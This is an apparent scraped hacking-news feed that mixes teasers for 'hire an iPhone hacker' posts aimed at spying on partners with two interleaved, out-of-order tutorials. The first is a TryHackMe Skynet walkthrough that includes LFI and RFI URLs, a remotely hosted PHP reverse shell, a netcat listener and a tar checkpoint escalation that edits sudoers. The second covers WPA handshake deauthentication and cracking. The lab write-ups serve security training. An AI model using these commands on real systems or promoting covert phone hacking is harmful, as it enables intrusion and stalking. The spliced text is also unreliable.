Hacking on Medium
Hack that phone for your own sanity.

There are times when you notice that things are not right with the way your partner is behaving. They act off and distracted, you ask them…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to Hire an iPhone Hacker

With the growing rate of divorce alone, it becomes clearer that this issue has not been entirely resolved and so if you are searching for…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Instagram‌ ‌El error permitía a cualquiera ver cuentas privadas sin seguirlas.

https://cdn-images-1.medium.com/max/958/0*QfAqKiBnNI9Z8e32
PUBLICADO EN 16 JUNIO, 2021 POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

WAF: Web Application Firewalls

How do they even work?Continue reading on Medium »
Read more...

WAF: Web Application Firewalls
https://thexssrat.medium.com/waf-web-application-firewalls-3373d520385f?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

How do they even work?Continue reading on Medium » (https://thexssrat.medium.com/waf-web-application-firewalls-3373d520385f?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Quality Post

https://external-preview.redd.it/wzPndjZwCq8BOo_i4rK1Zi6B4mJfumXeNBd8O5naLuU.jpg?width=320&crop=smart&auto=webp&s=e5bd9a256183059a30e5bae1a3481b9515eeec4a submitted by /u/urbanscouter
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I want a career in cyber security, but don’t know where to start.

I have been thinking about this career as an option for a while, but after looking further into it recently, I really think this is the path that i want to take. The only problem is, I’m at square one and am completely overwhelmed on where to start. I don’t know a whole lot about computer science, I’ve only learned a little bit of js and python. I have a long way to go, and I need a bit of guidance. Any tips or pointers on where to start and where to go from there from a beginner standpoint?

submitted by /u/DrWedgeley
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Skynet TryHackMe Walkthrough

Today it is time to solve another challenge called “Skynet”. It is available at TryHackMe for penetration testing practice. The challenge is of medium difficulty if you have the right basic knowledge and are attentive to little details that are required in the enumeration process. The breakdown of the Machine with the redacted flags is as follow: Level: Easy· Network Scanning o Nmap ScanEnumerationo Enumerating HTTP serviceExploitationo Getting exploit from SearchsploitPrivilege Escalationo Enumerating Backup FilesWalkthroughThere are 2 flags in this machine to discover. After Booting up the target machine from the TryHackMe: Skynet CTF Page, an IP will be assigned to the machine and will be visible on that page as well.IP Address: 10.10.61.86We will start a nmap scan with the -sC for Default Scripts and -sV for Scanning Versions.nmap -sC -sV 10.10.61.86https://1.bp.blogspot.com/-nkKm4HMZrpo/YMo0LREDREI/AAAAAAAAwc4/p6_t0JhT2fIxXHP2KmwedHc04IYgdLIawCLcBGAsYHQ/s16000/1.png We have a bunch of services running on the target machine. We have the 22 (SSH), 80 (HTTP), 110 (POP3), 139/445 (SMB), 143 (IMAP). EnumerationWe cannot enumerate SSH since we lack the credentials. Similarly, there seems to be a Mail Server setup that cannot be accessed from here. That leaves us with SMB and HTTP. We will begin our enumeration with HTTP. We see that there is a website loaded that looks like a search engine. We tried to tinker around with it but there wasn’t much to go on. http://10.10.61.86https://1.bp.blogspot.com/-NniF-sQdecY/YMo6iMZFVeI/AAAAAAAAwdA/gI6pZZvRax8ceBj40wkiBIS16F_PtboNgCLcBGAsYHQ/s16000/2.png This meant we need to focus on SMB service for any further enumeration. We connected to the SMB service using the smbclient. We found two shares on the machine. Anonymous and Miles Dyson. smbclient -L 10.10.61.86https://1.bp.blogspot.com/-kXpTfyPcuM8/YMo69q8043I/AAAAAAAAwdI/pV2iMwVPnsY1pLBy0HKwAPX0Cv7aWbIWQCLcBGAsYHQ/s16000/3.png Since Miles Dyson requires credentials, we tried to connect to the Anonymous share. After connecting to the share, we see that there is a text file by the name of attention.txt and a directory by the name of logs. In the logs directory, there were three text files containing 3 log files. We downloaded all the text files back to our local machine to observe them.smbclient //10.10.61.86/anonymous https://1.bp.blogspot.com/-FpdxBjt9DYw/YMo7BLCNgqI/AAAAAAAAwdM/PHa0KRiScw0TFpCtRcNAgD-RDqXkU46lwCLcBGAsYHQ/s16000/4.png The attention.txt file reads that there has been a recent system malfunction that caused various passwords to be changed. It requests all the employees to change their passwords. The log files log2 and log3 were [...]

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Wireless Penetration Testing: Password Cracking

IntroductionBrute-forcing is probably one of the most well known techniques when it comes to gaining access. It’s a soft cushion to land upon when nothing seems to work anymore and rightfully so, since the majority of network devices and applications lack the resilience to effectively detect and prevent brute-force attacks, it comes as an effective attack. In this article we’ll be focusing on various Wi-Fi password brute forcing tools to demonstrate how easy it can be for an attacker to guess your Wi-Fi password and the necessity to keep a complex password.Since we don’t want to be breaking into unauthorized devices, we’ll set up our own lab. And by lab I mean we’ll use our own Wi-Fi access point, keep a password that we know, forget the device and attempt brute forcing using a dictionary containing that password.Pre-requisiteIf you are using a virtual machine with kali linux, you would need an external Wi-Fi adapter because virtual machines by default are bridged or natted to the adapter you specify and won’t detect wlan interface. So, kindly research and buy an external adapter capable of going into monitor mode. And thereafter, go to your VM settings and connect that adapter to your virtual machine.Initial SetupLet’s first set up the password of our access point here. Let’s say raaj:raj12345monitor modeand Wlaninterface. Let’s begin by putting our Wi-Fi adapter in monitor mode first.airmon-ng start wlan0We are using the airmon module for this which comes built in Kali Linux. Next, we’ll have to scan for the access point (here, SSID=raaj). If you check your interfaces with iwconfig command now you’d see your Wlan0 has been transformed to Wlan0mon. Good for us. Now we scan access points around usairodump-ng wlan0monThis should start scanning for Access Points’ SSIDs and BSSIDs (Basic service set identifiers or simply a 48 bit MAC) around you. We see raaj in there too.CH 3 written. That is a Wi-Fi channel. Definition: In layman terms, a Wi-Fi channel is a path on which Wi-Fi packets travel to and from your device to access point.A 2.4 GHz Wi-Fi uses 11 channels and a 5 GHz Wi-Fi uses 45 channels. Each channel may vary or depending on what the vendor may use-- higher or lower channel size is possible but generally is under 100 MHz in width. Your Wi-Fi access point uses a specified channel to transmit data. This channel totransmitcan be manually configured in access points. A Wi-Fi adapter, however, just like your FMreceiver can tune to listen to any channel.Analogy: Just like radio channels, a Wi-Fi adapter working on channel 3 (lets say a 60 MHz frequency) won’t listen to what's happening on channel 6 (let’s say a 100 MHz frequency) until you tune it to listen to channel 6. But your Wi-Fi adapter/NIC is able to change [...]

___________________________
@hacking_Attack
@Hacking_Video

empty and log1 contains a list of possible passwords related to the Terminator Movie Franchise.cat attention.txthttps://1.bp.blogspot.com/-B29TYoQLzZY/YMo7E9_cWoI/AAAAAAAAwdQ/aIh99KXXlxcTSWNjG9ufXCs3f-BBahwHQCLcBGAsYHQ/s16000/5.png Another step for enumeration is to perform a Directory Bruteforce. We used the dirb tool for performing the directory Bruteforce. We found a SquirrelMail directory. There is a possibility that the Mail service that we detected at the beginning from nmap might be a SquirrelMail instance. dirb http://10.10.61.86https://1.bp.blogspot.com/-s0ieCR1Z4p4/YMo7K03N1rI/AAAAAAAAwdU/GvkOsO13xCEZgE1BfVasHt7PFTs_qJnHgCLcBGAsYHQ/s16000/6.png Opening the directory on the web browser we see that it was redirected to the Login page. Before trying a bunch of other options that can be used to Bruteforce the login, we tried to enter a bunch of default credentials and then eventually the username milesdyson and the password cyborg007haloterminator. This was the first password inside the log1.txt file that we acquired earlier.http://10.10.61.86/squirrelmail/ After looking for mails inside the Inbox and Sent Box, we were able to procure the following mail. It says that the password for the milesdyson user has been changed after the malfunction. It gives us the updated password. Password: )s{A&2Z=F^n_E.B`https://1.bp.blogspot.com/-vZVWfeDDtrk/YMo7X-YYtbI/AAAAAAAAwdk/mn5F-Zvz0-o8NMcoFiX7FWoidf9dJ5vFwCLcBGAsYHQ/s16000/8.png Since we have the password for the private share of the milesdyson, we can use it to enumerate his files shared over SMB. We again use the smbclient to access milesdyson share. Among some pdfs about neural networks and AI, we found a directory by the name of notes. Inside the notes directory, we found some markdown files. Among them was a text file by the name of improtatnt.txt. smbclient //10.10.61.86/milesdyson -U milesdysonhttps://1.bp.blogspot.com/-dd_DaIlGRqw/YMo7deyJGOI/AAAAAAAAwdo/oGVMyKnqd1cJeJ23Bmn-Fo8Ce1jj4QjJQCLcBGAsYHQ/s16000/9.png The markdown files seemed to be the basic notes but the important file seemed to the text file. We transferred the file to our local machine. Upon reading we see that a directory is mentioned among other things in the to-do list. get important.txthttps://1.bp.blogspot.com/-tdQEa02KtZM/YMo7h6AKT0I/AAAAAAAAwds/Bu6sgh2QNj0QoI75E996XP1OmB2o-pJqwCLcBGAsYHQ/s16000/10.png We open the directory mentioned in the important.txt on our web browser and we found ourselves Miles Dyson Character’s picture and a brief introduction. He is the inventor/creator of Skynet. The AI that takes over mankind in Terminator Movie Franchise.http://10.10.61.86/45kra24zxs28v3yd/https://1.bp.blogspot.com/-RZJavDaW5Vs/YMo7mR4RM8I/AAAAAAAAwd0/k7wBotbWZc4mcxaFLrDVQt5SlXIwxi5ZgCLcBGAsYHQ/s16000/11.png Since we couldn’t find any more clues or files in the directory by ourselves, we decided to perform a directory Bruteforce inside this newly founded directory. We found an administrator directory.dirb http://10.10.61.86/45kra24zxs28v3yd/https://1.bp.blogspot.com/-f4f1GkhaGww/YMo7qKzDInI/AAAAAAAAwd8/J3SgNKtTe_oeT8ZLNo9ZgFfeiqDdfKINACLcBGAsYHQ/s16000/12.png Upon opening the administrator directory in the web browser, we see that it is an instance of Cuppa CMS. We are greeted with a login panel.http://10.10.61.86/45kra24zxs28v3yd/administrator/https://1.bp.blogspot.com/-ruSl5iFFB98/YMo7vfNqjVI/AAA[...]

___________________________
@hacking_Attack
@Hacking_Video

its listening channel automatically. We’ll use airodump-ng to specify a channel later in this article.Handshake: A handshake in Wi-Fi is a mechanism by which an access point authenticates a client to onboard it and use its services. Cool thing to note is that in a handshake, the pairwise master key (PMK) is not transferred in this handshake so you can’t directly grab the PMK otherwise it would be a major vulnerability. Rather, this handshake file has something called a message integrity check (MIC) which is a combination of your Wi-Fi passphrase, nonce (random numbers), SSID and some other keys.Goal: Our goal is to capture this handshake file (.cap file), extract juicy information and brute force against the MIC to finally obtain a password. Since, MIC is analogous to a hash in Wi-Fi, we need a dictionary to calculate hashes and compare against the value given in the handshake capture and confirm the password.airodump-ng wlan0mon -c3 --bssid 18:45:93:69:A5:19 -w pwd-c : channelaireplay-ng --deauth 0 -a 18:45:93:69:A5:19 wlan0monhttps://1.bp.blogspot.com/-9rCbS-ZQny0/YMpAu7Y79hI/AAAAAAAAwfc/TvgqgbgktCUWDgnVGHc5ugAOqJ9jvfu8ACLcBGAsYHQ/s16000/3.png And it seemed to have worked like magic as you can see the client has re-authenticated and we have a handshake! The file is saved as pwd-01.capaircrack-ng handshake.cap -w dict.txt As evident below, we have the password thanks to aircrack.

Using cowpattyThe same method can be done using another well known tool called cowpatty. Link here. During my testing the “handshake.cap” got renamed to “wifi.cap” so don’t get confused.cowpatty -r wifi.cap -f dict.txt -s raajUsing HashcatFor this next method, we would need to install hashcat first. It is the undisputed go-to tool when we talk about hash cracking. You can download it from here. In Kali Linux, hashcat is preinstalled with utilities as well. We would use the “cap2hc[...]

___________________________
@hacking_Attack
@Hacking_Video

AAAAAweE/fzcvq4OnVIgo8WWcZlCf8El_WS3SpvIYQCLcBGAsYHQ/s16000/13.png ExploitationFrom our previous encounter with the Cuppa CMS in the Digital World Local Bravery Vulnhub Walkthrough, we know that it is vulnerable to a Local File Inclusion Attack. We open searchsploit and search for the exploit in CMS. After locating the exploit, we download the exploit text file to our local machine to take a closer look.searchsploit cuppahttps://1.bp.blogspot.com/-RrhkgqgMyWU/YMo71aAZMoI/AAAAAAAAweM/N5G37ZKGM_UndELq54hkZxMgvRiQNRLFQCLcBGAsYHQ/s16000/14.png Reading the text file for the exploit, we see that it is possible to read the Local files on the target machine by targeting the urlConfig parameter in the alertConfigField.php. The best part is that it doesn’t even warrant a login into the CMS.cat 25971.txt https://1.bp.blogspot.com/-atiDE34kgUg/YMo75QJblnI/AAAAAAAAweU/6neHNjucDNA4TBTDg_yIse6J3W-ZTA5_QCLcBGAsYHQ/s16000/15.png We craft the URL to suit the IP Address of our target machine and see that we can read the /etc/passwd file on the target machine.http://10.10.61.86/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwdhttps://1.bp.blogspot.com/-nkLaPmCQWDE/YMo79-r4SCI/AAAAAAAAweY/rtWo6XTt7VIWvBuAoBrXocCkwJ8PENkuACLcBGAsYHQ/s16000/16.png From the text file of the exploit and the result of searchsploit, we know that it is possible to include a remote file similarly. This means that the CMS is vulnerable to the Remote File Inclusion attack as well. This will help as we will use the php reverse shell file that is found in Kali Linux and point at it through the target machine to exploit the RFI to get a shell on the target machine. We edited the php reverse shell file to include our local (VPN) IP Address and then used the python HTTP server one-liner to host the file.nano php-reverse-shell.phphttps://1.bp.blogspot.com/-KO_0NmQG2ss/YMo8Cs_psDI/AAAAAAAAwec/NFZn6I3D7_Av2f-gFjgZTA_3JVtTB6HoQCLcBGAsYHQ/s16000/17.png We changed the IP address in the URL to accommodate the address of the now hosted php reverse shell. Before executing the exploit, we first need to create a Netcat listener on the port mentioned in the php reverse shell file. By default, it is 1234. Then execute the payload through the web browser as depicted below.http://10.10.61.86/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.10.110.53:8000/php-reverse-shell.phphttps://1.bp.blogspot.com/-1KJf12UL3dU/YMo8H3sbP5I/AAAAAAAAwek/2otsxEcCbE0x2NZ6ni7btvWORs93VPTggCLcBGAsYHQ/s16000/18.png As soon as the exploit is executed, we get a shell on our Netcat listener. We use the id command to check the user and group details and found that the shell that we have procured is for the user www-data.nc -lvp 1234https://1.bp.blogspot.com/-MzSgNcI12jk/YMo8OMYs5NI/AAAAAAAAwes/YQMVv8AYc1gRuydTkBRqKKmTSdRVCz57gCLcBGAsYHQ/s16000/19.png We move to the home directory to see what are various users created on the target machine. We see that there is a single user by the name of milesdyson. We found the user flag inside its home directory.cd /homehttps://1.bp.blogspot.com/-Qb-p4Peo5dM/YMo8V52RGSI/AAAAAAAAwe0/qjWNNuDbkbIBddS6Mn05IAa1TOz6OamTgCLcBGAsYHQ/s16000/20.png Privilege EscalationWhile looking for the user flag, we see that there is a backups directory inside the milesdyson home directory. Traversing inside, we see that it has a shell script by the name of the b[...]

___________________________
@hacking_Attack
@Hacking_Video

capx” script for this method.hccapx: It is a custom format specifically developed for hashcat for usage on WPA and WPA2.cap2hccapxwould convert the .cap file to .hccapx and hashcat would be able to bruteforce against it.cd /usr/share/hashcat-utils && ./cap2hccapx.bin /root/wifi.cap /root/wifi.hccapxhashcat -m 2500 wifi.hccapx dict.txt --show-m : hash type. 2500= WPA/WPA2 hashesUsing John The RipperThe same can be done using john the ripper too. We just need to convert it into a standard john hash file. This can be done using the hcxpcapng tool like:hcxpcapngtool --john hash.john wifi.cap A gorgeous thing to observe here is the contents of the capture file! Juicy, isn’t it? Let’s use john to crack the hash now:john --format=wpapsk --wordlist dict.txt hash.johnhttps://1.bp.blogspot.com/-orc6HmPena4/YMpBaPAMk0I/AAAAAAAAwgQ/aALSGIorxYcVn7DiF6UQdKb5bdEHEMh2gCLcBGAsYHQ/s16000/11.png Using JtR againFor all the pros who converted .cap to .hccapx, here’s the last method for you. You can use hccap2john script pre existing in your Kali to convert that .hccapx file to a John hash!/usr/sbin/hccap2john wifi.hccpax > wifihashjohn --wordlist=/root/dict.txt --format=wpapsk wifihashhttps://1.bp.blogspot.com/-D7uOLrYuHh8/YMpBxElkzUI/AAAAAAAAwgs/SCRcWSO7hfoJm7ROGrjQySCEgzFBz_soACLcBGAsYHQ/s16000/15.png We learnt various methods to brute force a captured handshake .cap file. The aim is to have multiple arrows in your quiver so if one technique fails you, you know how you can cross it over. Thanks for reading.___________________________
@hacking_Attack
@Hacking_Video

ackup.sh. Reading the shell file, we see that it contains a * wildcard. As covered by our Exploiting Wildcard for Privilege Escalation Article, we need to check the /etc/crontab file. We see that the backup shell script is scheduled to execute at intervals of 1 minute. cd backups There were multiple methods to get root from this vulnerability, we decided to use it to grant the sudoers permission instead of getting another shell. So, we moved to the directory that is being backed up and then created another shell script by the name of pavan.sh and entered the command inside it using echo. Then we proceeded to enter the checkpoint that will run the shell command when the tar will be backing up the directory. Using the sudo -l command we saw that the sudoers entry has been made. We just use the sudo bash command to get the root shell. We read the root flag to conclude the machine.cd /var/www/html /etc/sudoers' > pavan.sh "--checkpoint-action=exec=sh pavan.sh" --checkpoint=1https://1.bp.blogspot.com/-I6sxp9SVXTE/YMo8i1NssfI/AAAAAAAAwfA/br93DGIDEksbLVAobLY9JRRW7YYVAgKlACLcBGAsYHQ/s16000/22.png

___________________________
@hacking_Attack
@Hacking_Video